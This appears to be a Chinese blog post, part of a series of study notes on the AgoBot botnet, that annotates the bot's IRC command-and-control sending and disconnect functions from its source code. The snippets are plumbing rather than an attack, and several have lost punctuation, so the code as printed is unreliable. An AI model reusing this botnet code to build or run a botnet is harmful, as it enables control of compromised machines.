AgoBot 殭屍網絡研究筆記(八)

 

八、2008年3月12日

作者:青青子衿

email:[email protected]

1 SendRaw ( char  * szMsg )   數據發送函數,將加密發送還是明文發送封裝起來

bool   CIRC :: SendRaw ( char  * szMsg )

{

  if ( g_cMainCtrl . m_cBot . si_usessl . bValue //判斷是否使用ssl加密

  {  

    //如果使用SSL加密協議,調用CSSLSocket 類的成員函數將消息發送出去

    if ( m_csslSocket . Write ( szMsg strlen ( szMsg ))< strlen ( szMsg ))

    {  

      //如果發送失敗, 

      m_bJoined = false ;   //加入頻道狀態設置爲false

      m_bConnected = false //連接狀態設置爲false

      xClose ( m_sSocket );    //關閉套接字

      m_sSocket = INVALID_SOCKET //將套接字變量,置爲無效

      g_cMainCtrl . m_cMac . ClearLogins ();  //清空登錄信息列表

      return   false

    }

    else  

    {

      //完成發送成功返回

      return   true

    }

  }

  else

  {  

    //使用明文發送數據

    if ( xWrite ( m_sSocket szMsg strlen ( szMsg ))< strlen ( szMsg ))   //send 函數

    {

      //如果發送失敗

      m_bJoined = false

      m_bConnected = false

      xClose ( m_sSocket );

      m_sSocket = INVALID_SOCKET ;

      g_cMainCtrl . m_cMac . ClearLogins ();

      return   false

    }

    else  

    {

      //發送成功

      return   true

    }

 

}

2、  bool   CIRC :: SendRawFormat ( const   char  * szFmt , ...)   函數

///////////////////////////////////////////////////////////////////

//

//函數功能:按照指定格式發送數據

//參數:   const char *szFmt   發送數據的格式

//       ...  具體數據的變量,參數個數不確定

//返回值:   如果發送成功返回true,否則返回false

//

////////////////////////////////////////////////////////////////////

bool   CIRC :: SendRawFormat ( const   char  * szFmt , ...)

{  

  va_list   va_alist ;

  char   formatbuf [8192]; 

  va_start ( va_alist szFmt );

  vsnprintf ( formatbuf sizeof ( formatbuf ),  szFmt va_alist );  va_end ( va_alist );

  return   SendRaw ( formatbuf ); 

}

3 bool   CIRC :: SendMsg ( bool   bSilent bool   bNotice char  * szMsg char  * szDst )  函數

///////////////////////////////////////////////////////////////////////////

//

//函數功能:發送消息

//參數:   bool bSilent    標識是否處於靜默狀態 

//       bool bNotice    發送數據包的類型是否是Notice狀態,詳細瞭解Notice含義,參見IRC使用手冊

//       char *szMsg     消息內容的buffer

//       char *szDst     保存發送目標的字符串

//返回值:   發送成功返回true,失敗返回false

//

/////////////////////////////////////////////////////////////////////////////

bool   CIRC :: SendMsg ( bool   bSilent bool   bNotice char  * szMsg char  * szDst )

{  

  if ( bSilent //如果bot被設置爲靜默狀態,將不往外發送任何信息,直接返回

  {

    return   false ;

  }

  CString   sTheCmd

  if ( bNotice //如果以NOTICE模式發送

  {

    //命令字符串賦值爲字符串NOTICE

    sTheCmd . Assign ( "NOTICE" );

 

  else  

  {  

    //否則賦值爲PRIVMSG

    sTheCmd . Assign ( "PRIVMSG" );

  }

  CString   sSendBuf

  sSendBuf . Format ( "%s %s :%s/r/n" sTheCmd . CStr (),  szDst szMsg );  //構造一個完整的IRC數據包

  return   SendRaw ( sSendBuf . Str ());  //發送數據包

}

4 void   CIRC :: Fail ()    函數

/////////////////////////////////////////////////////////////////////////////

//

//函數功能:失敗處理

//參數:  

//返回值:   void

//

//////////////////////////////////////////////////////////////////////////////

void   CIRC :: Fail ()

{  

  Disconnect ();   //斷開網路連接

  m_iFailCount ++;   //連接失敗計數器加1

}

5 void   CIRC :: Disconnect ()   函數

//////////////////////////////////////////////////////////////////////////////////

//

//函數功能:斷開連接

//參數:    

//返回值:   void

//

/////////////////////////////////////////////////////////////////////////////////

void   CIRC :: Disconnect ()

{  

  m_bJoined = false ;    //設置離開頻道狀態

  m_bConnected = false ;     //設置斷開連接狀態

  xClose ( m_sSocket );     //關閉套接字

  m_sSocket = INVALID_SOCKET ;   //將套接字變量設置爲無效

  g_cMainCtrl . m_cMac . ClearLogins ();   //清空登錄列表

}

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章